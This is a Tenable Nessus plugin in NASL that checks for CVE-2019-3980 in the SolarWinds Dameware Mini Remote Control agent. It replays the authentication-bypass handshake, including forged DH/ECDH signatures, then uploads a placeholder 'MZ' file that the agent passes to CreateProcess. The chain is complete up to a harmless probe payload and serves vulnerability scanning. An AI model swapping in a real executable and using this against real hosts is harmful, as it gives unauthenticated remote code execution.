code | #
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if (description)
{
script_id(130458);
script_version("1.3");
script_cvs_date("Date: 2019/12/18");
script_cve_id("CVE-2019-3980");
script_xref(name:"TRA", value:"TRA-2019-43");
script_name(english:"SolarWinds Dameware Mini Remote Control Unauthenticated RCE");
script_summary(english:"Checks server response");
script_set_attribute(attribute:"synopsis", value:
"The remote host is running a remote control application that is
affected by a remote code execution vulnerability.");
script_set_attribute(attribute:"description", value:
"The SolarWinds Dameware Mini Remote Control Client Agent running on
the remote host is affected by a remote code execution vulnerability
due to improper validation of user-supplied data. An unauthenticated,
remote attacker can exploit this, via a series of requests, to
execute arbitrary code.");
# https://support.solarwinds.com/SuccessCenter/s/article/Dameware-Mini-Remote-Control-12-1-0-Hotfix-3-Release-Notes
script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?fee92693");
script_set_attribute(attribute:"solution", value:
"Upgrade to SolarWinds Dameware Mini Remote Control v12.1 Hotfix 3 or
later, and make sure the running client agent (DWRCS.exe) is
v12.1.0.96 or later.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_set_cvss3_temporal_vector("CVSS:3.0/E:U/RL:O/RC:C");
script_set_attribute(attribute:"cvss_score_source", value:"CVE-2019-3980");
script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
script_set_attribute(attribute:"vuln_publication_date", value:"2019/10/08");
script_set_attribute(attribute:"patch_publication_date", value:"2019/10/18");
script_set_attribute(attribute:"plugin_publication_date", value:"2019/11/01");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:dameware:mini_remote_control");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"Windows");
script_copyright(english:"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("find_service2.nasl");
script_require_ports(6129, "Services/dameware");
exit(0);
}
include('audit.inc');
include('global_settings.inc');
include('misc_func.inc');
include('byte_func.inc');
include('string.inc');
include('kerberos_func.inc');
##
#
# Read a block of data
#
# @param socket socket to read data from
#
# @return a block of data or NULL on error.
#
##
function _recv_blk(socket)
{
local_var data, size;
# Read 0xc-byte msg header
data = recv(socket:socket, length:0xc, min:0xc);
if(strlen(data) != 0xc) return NULL;
# Get msg body size
size = getdword(blob:data, pos:8);
# Body size should not be too big
if (size > 0x100000) return NULL;
# Get msg body
data += recv(socket:socket, length:size);
return data;
}
port = get_service(svc:'dameware', default:6129, exit_on_fail:TRUE);
soc = open_sock_tcp(port);
if (! soc) audit(AUDIT_SOCK_FAIL, port);
set_byte_order(BYTE_ORDER_LITTLE_ENDIAN);
#
# On connection, server sends MSG_TYPE_VERSION (0x00001130)
#
res = recv(socket:soc, length:0x28, min:0x28);
if(strlen(res) < 0x28 || getdword(blob:res, pos:0) != 0x0001130)
{
close(soc);
exit(1, 'Failed to receive the MSG_TYPE_VERSION message from server on port ' + port + '.');
}
#
# Client sends MSG_TYPE_VERSION (0x00001130)
# requesting smart card authentication
#
req = mkdword(0x1130)
+ '\x00\x00\x00\x00'
+ '\x00\x00\x00\x00\x00\x00\x28\x40' # ProtocolMajorVersion (12)
+ '\x00\x00\x00\x00\x00\x00\x00\x00' # ProtocolMinorVersion (0)
+ mkdword(4)
+ mkdword(0)
+ mkdword(0)
# AuthType:
# 0 - DW_REQUESTED_AUTHENTICATION_TYPE_BASIC (dwrcs user/pwd)
# 1 - DW_REQUESTED_AUTHENTICATION_TYPE_NTCR (NTLMSSP)
# 2 - DW_REQUESTED_AUTHENTICATION_TYPE_ENCRYPTED (encrypted OS creds)
# 3 - DW_REQUESTED_AUTHENTICATION_TYPE_SMARTCARD
+ mkdword(3);
send(socket:soc, data:req);
#
# Server sends MSG_TYPE_CLIENT_INFORMATION_V7 (0x00011171)
#
res = recv(socket:soc, length:0x3af8, min:0x3af8,timeout:10);
if(strlen(res) < 0x3af8 || getdword(blob:res, pos:0) != 0x00011171)
{
close(soc);
exit(1, 'Failed to receive the MSG_TYPE_CLIENT_INFORMATION_V7 message from server on port ' + port + '.');
}
# Client sends MSG_TYPE_CLIENT_INFORMATION_V7 (0x00011171)
# Should be able to use the one sent by the server
send(socket:soc, data:res);
#
# Server sends MSG_TYPE_RSA_CRYPTO_C_INIT (0x000105b8)
#
msg_len = 0x1220;
res = recv(socket:soc, length:msg_len, min:msg_len, timeout:10);
if(strlen(res) < msg_len || getdword(blob:res, pos:0) != 0x000105b8)
{
close(soc);
exit(1, 'Failed to receive the MSG_TYPE_RSA_CRYPTO_C_INIT message from server on port ' + port + '.');
}
#
# Client sends MSG_TYPE_RSA_CRYPTO_C_INIT (0x000105b8)
# Should be able to use the one sent by the server
send(socket:soc, data:res);
#
# Server sends Msg 0x000105b9
#
msg_len = 0x2c2c;
res = recv(socket:soc, length:msg_len, min:msg_len, timeout:10);
if(strlen(res) < msg_len || getdword(blob:res, pos:0) != 0x000105b9)
{
close(soc);
exit(1, 'Failed to receive a message 0x000105b9 from server on port ' + port + '.');
}
# Get Server public key
pkey_len = getdword(blob:res, pos: 0x140c);
if(pkey_len != 0x10 && pkey_len != 0x2b)
{
close(soc);
exit(1, 'Unexpected server public key size ' + pkey_len + ' in a key exchange message from server on port ' + port + '.');
}
srv_pubkey = substr(res, 0x100c, 0x100c + pkey_len -1);
# DH (load dwrcrss.dll)
if(pkey_len == 0x10)
{
dh_prime = raw_string(
0xF5, 0x1F, 0xFB, 0x3C, 0x62, 0x91, 0x86, 0x5E,
0xCD, 0xA4, 0x9C, 0x30, 0x71, 0x2D, 0xB0, 0x7B
);
dh_gen = raw_string(3);
clt_privkey = rand_str(length:16);
# g^x mod p
clt_pubkey = bn_mod_exp(dh_gen, clt_privkey, dh_prime);
shared_secret = bn_mod_exp(srv_pubkey, clt_privkey, dh_prime);
# Sign the DH shared secret with SHA512withRSA
n = raw_string(
0x00,0xad,0x8c,0x81,0x7b,0xc7,0x0b,0xca,0xf7,0x50,0xbb,0xd3,0xa0,0x7d,0xc0,
0xa4,0x31,0xe3,0xdd,0x28,0xce,0x99,0x78,0x05,0x92,0x94,0x41,0x03,0x85,0xf5,
0xf0,0x24,0x77,0x9b,0xb1,0xa6,0x1b,0xc7,0x9a,0x79,0x4d,0x69,0xae,0xcb,0xc1,
0x5a,0x88,0xb6,0x62,0x9f,0x93,0xf5,0x4b,0xca,0x86,0x6c,0x23,0xae,0x4f,0x43,
0xac,0x81,0x7c,0xd9,0x81,0x7e,0x30,0xb4,0xcc,0x78,0x6b,0x77,0xd0,0xbb,0x20,
0x1c,0x35,0xbe,0x4d,0x12,0x44,0x4a,0x63,0x14,0xec,0xfc,0x9a,0x86,0xa2,0x4f,
0x98,0xb9,0xb5,0x49,0x5f,0x6c,0x37,0x08,0xc0,0x1d,0xd6,0x33,0x67,0x97,0x7c,
0x0d,0x36,0x62,0x70,0x25,0xd8,0xd4,0xe8,0x44,0x61,0x59,0xe3,0x61,0xca,0xb8,
0x9e,0x14,0x14,0xaa,0x2f,0xcb,0x89,0x10,0x1b
);
d = raw_string(
0x00,0xa1,0x60,0xcf,0x22,0xd7,0x33,0x3b,0x18,0x00,0x85,0xb7,0xc3,0x3c,0x4c,
0x3f,0x22,0x79,0x3d,0xb4,0xed,0x70,0x3d,0xf0,0x08,0x9e,0x3d,0x5a,0x56,0x5e,
0x1c,0x60,0xfc,0xab,0xd5,0x64,0x9d,0xde,0x5c,0xe1,0x41,0x3f,0xed,0x9f,0x60,
0x7b,0x9c,0x36,0xe4,0xbc,0x78,0xec,0x16,0xff,0x0b,0x42,0x51,0x67,0x8c,0x23,
0x64,0xac,0xbf,0xf8,0xcb,0xed,0xe8,0x46,0x66,0x40,0x8f,0x70,0x46,0x10,0x9c,
0x63,0x07,0x74,0x33,0x64,0x26,0x25,0xa6,0x34,0x43,0x8f,0x95,0xa9,0x70,0xd1,
0x40,0x69,0x0b,0xf8,0xc8,0x62,0x5f,0x8d,0xe8,0x8f,0xc4,0x46,0xbf,0x09,0xab,
0x83,0x68,0xfe,0x5f,0x2d,0x2d,0x3b,0xd9,0xf5,0xd5,0x32,0x34,0xbc,0x37,0x17,
0xcb,0x13,0x50,0x96,0x6e,0x26,0x82,0xc2,0x39
);
e = raw_string(0x01, 0x00, 0x01);
hash = SHA512(shared_secret);
# OID for SHA512
oid = '2.16.840.1.101.3.4.2.3';
oid = der_encode_oid(oid:oid);
# Hash OID with NULL parameters
hash_id = der_encode(tag:0x30, data:oid + '\x05\x00');
hash = der_encode(tag:0x4, data: hash);
data = der_encode(tag:0x30, data:hash_id + hash);
# Signature to be send to the server
sig = rsa_private_encrypt(data:data, d:d, n:n, e:e);
# The RSA public key to be sent to the server so that it can verify
# the signature.
ne = der_encode(tag:2, data:n) + der_encode(tag:2, data:e);
pubkey = der_encode(tag:0x30, data:ne);
}
# ECDH (load dwrcrsa.dll)
else
{
# dwrcrsa.dll uses a custom/unamed EC curve defined as follows:
p = raw_string(
0x06, 0xaa, 0xfb, 0xfb, 0x70, 0x6b, 0xc9, 0x37,
0xab, 0x4d, 0x86, 0x11, 0xb2, 0x39, 0x5f, 0x67,
0x56, 0x6b, 0xd9, 0x8a, 0x6d
);
a = raw_string(
0x06, 0xaa, 0xfb, 0xfb, 0x70, 0x6b, 0xc9, 0x37,
0xab, 0x4d, 0x86, 0x11, 0xb2, 0x39, 0x5f, 0x67,
0x56, 0x6b, 0xd9, 0x8a, 0x6a
);
b = raw_string(
0x0c, 0x6e, 0x5c, 0xa4, 0x9c, 0x46, 0x9d, 0xcd,
0xd2, 0x58, 0x42, 0xbd, 0xe3, 0x19, 0xb2, 0xfb,
0xff, 0xe3, 0x42, 0xe5
);
gx = raw_string(
0x02, 0x25, 0x81, 0x11, 0x63, 0x60, 0x05, 0x22,
0x5f, 0x5a, 0x3d, 0x4d, 0xa6, 0x71, 0x6b, 0x36,
0xd3, 0xbb, 0x14, 0xf9, 0xd1
);
g = raw_string(0x04) + gx +
# gy
raw_string(
0x03, 0x5c, 0x13, 0x77, 0x6b, 0x8a, 0x3b, 0xc9,
0xb1, 0x65, 0x40, 0x4f, 0xbb, 0x72, 0xe0, 0x64,
0xe4, 0x8e, 0xc3, 0xc4, 0x2f
);
n = raw_string(
0x6a, 0xaf, 0xbf, 0xb7, 0x06, 0xbc, 0x93, 0x7a,
0xb4, 0xd8, 0x50, 0xb1, 0xb0, 0x97, 0xc5, 0x31,
0x69, 0x16, 0xc6, 0xd1
);
h = raw_string(0x10);
# Use d = 1, so the public key is just g
clt_pubkey = g;
# Because we use d = 1, the shared secret is just
# the x coordinate of the server public key
shared_secret = substr(srv_pubkey, 1, 0x15);
#
# Sign the ECDH shared secret with SHA1withECDSA
#
# Use the same curve for ECDSA
# Use k = 1, d = 1
hash = SHA1(shared_secret);
r = bn_mod(gx, n);
s = bn_mod_add(hash,r,n);
# Pad if needed
if(strlen(r) < strlen(n))
r = crap(data:'\x00', length: strlen(n) - strlen(r)) + r;
if(strlen(s) < strlen(n))
s = crap(data:'\x00', length: strlen(n) - strlen(s)) + s;
# The signature to be sent to the server
sig = der_encode(tag:2, data:r) + der_encode(tag:2, data:s);
sig = der_encode(tag:0x30, data:sig);
# The EC public key to be sent to the server so that it can verify
# the signature.
#
# RFC 3279, ECParameters ::= SEQUENCE
ver = der_encode(tag:2, data:'\x01');
oid = '1.2.840.10045.1.1'; # id-prime-Field
oid = der_encode_oid(oid:oid);
field = oid + der_encode(tag:2,data:p);
field = der_encode(tag:0x30, data:field);
curve = der_encode(tag:4, data:a) + der_encode(tag:4, data:b);
curve = der_encode(tag:0x30, data:curve);
base = der_encode(tag:4, data:g);
order = der_encode(tag:2, data:n);
cofactor = der_encode(tag:2, data:h);
params = ver + field + curve + base + order + cofactor;
params = der_encode(tag:0x30, data:params);
# RFC 5280, SubjectPublicKeyInfo ::= SEQUENCE
oid = '1.2.840.10045.2.1'; # id-ecPublicKey
oid = der_encode_oid(oid:oid);
alg = der_encode(tag:0x30, data: oid + params);
# Because d = 1, the public key is just g
pubkey = der_encode(tag:3, data:'\x00' + g);
pubkey = der_encode(tag:0x30, data:alg + pubkey);
}
# Compute shared secret addsum
clt_addsum = 0;
for (i = 0; i < strlen(shared_secret); i++)
clt_addsum += ord(shared_secret[i]);
#
# Client sends Msg 0x000105b9
#
req = mkdword(0x000105b9);
# Server public key at offset 0x100c, up to 0x400 bytes
req += crap(data:'\x00', length:0x100c - strlen(req));
req += rpad(srv_pubkey, 0x400, char:'\x00');
# Length of server public key
req += mkdword(strlen(srv_pubkey));
# Client public key at offset 0x1418, up to 0x400 bytes
req += crap(data:'\x00', length:0x1418 - strlen(req));
clt_privkey = rand_str(length:16);
# Write client public key
req += rpad(clt_pubkey, 0x400, char:'\x00');
# Write client public key length
req += mkdword(strlen(clt_pubkey));
# Pad to msg_len
req += crap(data:'\x00', length: msg_len - strlen(req));
send(socket:soc, data:req);
#
# Server sends another msg 0x000105b9.
#
# This msg includes the length and addsum of the shared secret
#
res = recv(socket:soc, length:msg_len, min:msg_len, timeout:10);
if(strlen(res) < msg_len || getdword(blob:res, pos:0) != 0x000105b9)
{
close(soc);
exit(1, 'Failed to receive the second message 0x000105b9 from server on port ' + port + '.');
}
# Server-computed addsum of the shared secret
srv_addsum = getdword(blob:res, pos: 0x181c + 4);
if(srv_addsum != clt_addsum)
{
close(soc);
exit(1, "Client-computed DH/ECDH shared secret not matched with server's.");
}
#
# Client sends another msg 0x000105b9
#
req = mkdword(0x000105b9);
# Server public key at offset 0x100c, up to 0x400 bytes
req += crap(data:'\x00', length:0x100c - strlen(req));
req += rpad(srv_pubkey, 0x400, char:'\x00');
# Length of server public key
req += mkdword(strlen(srv_pubkey));
# Length of client-computed shared secret
req += mkdword(strlen(shared_secret));
# Addsum of client-computed shared secret
req += mkdword(clt_addsum);
# Client public key offset 0x1418, up to 0x400 bytes
req += rpad(clt_pubkey, 0x400, char:'\x00');
# Length of client public key
req += mkdword(strlen(clt_pubkey));
# Length of server-computed shared secret
req += mkdword(strlen(shared_secret));
# Addsum of server-computed shared secret
req += mkdword(srv_addsum);
# Signature at offset 0x1824, up to 0x800 bytes
req += rpad(sig, 0x800, char:'\x00');
# Length of the signature
req += mkdword(strlen(sig));
# Public key used to verify the signature
req += rpad(pubkey, 0x800, char:'\x00');
# Length of the public key
req += mkdword(strlen(pubkey));
# Pad to msg_len
req += crap(data:'\x00', length: msg_len - strlen(req));
send(socket:soc, data:req);
#
# If the server is able to verify the signature it sends a
# MSG_REGISTRATION_INFORMATION (0x0000b004).
#
# If the server is unable to verify the signature it closes the
# connection.
#
msg_len = 0xc50;
res = recv(socket:soc, length:msg_len, min:msg_len, timeout:10);
if(strlen(res) < msg_len || getdword(blob:res, pos:0) != 0x0000b004)
{
close(soc);
exit(1, 'Failed to receive a MSG_REGISTRATION_INFORMATION from server on port ' + port + '.');
}
# Client sends a MSG_REGISTRATION_INFORMATION
# Should be able to use the one sent by the server
send(socket:soc, data:res);
#
# Server sends a MSG_SOCKET_ADD (0x00010626)
#
msg_len = 0x224;
res = recv(socket:soc, length:msg_len, min:msg_len, timeout:10);
if(strlen(res) < msg_len || getdword(blob:res, pos:0) != 0x00010626)
{
close(soc);
exit(1, 'Failed to receive a MSG_SOCKET_ADD from server on port ' + port + '.');
}
#
# Server sends a msg 0x0000d6e2
#
msg_len = 0x1438;
res = recv(socket:soc, length:msg_len, min:msg_len, timeout:10);
if(strlen(res) < msg_len || getdword(blob:res, pos:0) != 0x0000d6e2)
{
close(soc);
exit(1, 'Failed to receive a message 0x0000d6e2 from server on port ' + port + '.');
}
#
# Client sends a msg 0x0000d6e2
# Should be able to use the one sent by the server
#
send(socket:soc, data:res);
#
# Server sends msg 0x0000d6f6 2 times
# This msg is variable length.
#
for(i = 0; i < 2; i++)
{
res = _recv_blk(socket:soc);
if(strlen(res) < 12 || getdword(blob:res, pos:0) != 0x0000d6f6)
{
close(soc);
exit(1, 'Failed to receive a message 0x0000d6f6 from server on port ' + port + '.');
}
}
#
# Now we are in the right state to send our dwDrvInst.exe.
#
data = 'MZ'; # Content saved as dwDrvInst.exe in
# C:\Windows\Temp.
# The exe is passed to CreateProcess().
req = mkdword(0xd6f6);
req += mkdword(2);
req += mkdword(strlen(data));
req += data;
send(socket:soc, data:req);
# Long timeout: server can be slow to respond
res = recv(socket:soc, length:0x1438,timeout:30);
sock_err = socket_get_error(soc);
close(soc);
#
# Patched dwrcs.exe signature checks the file we sent. The check
# would fail and the server will close the connection.
#
if(isnull(res) && sock_err == ECONNRESET)
audit(AUDIT_HOST_NOT, 'affected');
#
# Vulnerable dwrcs.exe attempted to execute the file we sent. Because
# we specified a file that is not executable, the server sends back
# a 0x0000D6EC msg.
#
else if(strlen(res) > 4 && getdword(blob:res, pos:0) == 0x0000d6ec)
security_report_v4(port: port,severity: SECURITY_HOLE);
else
audit(AUDIT_RESP_BAD, port);
|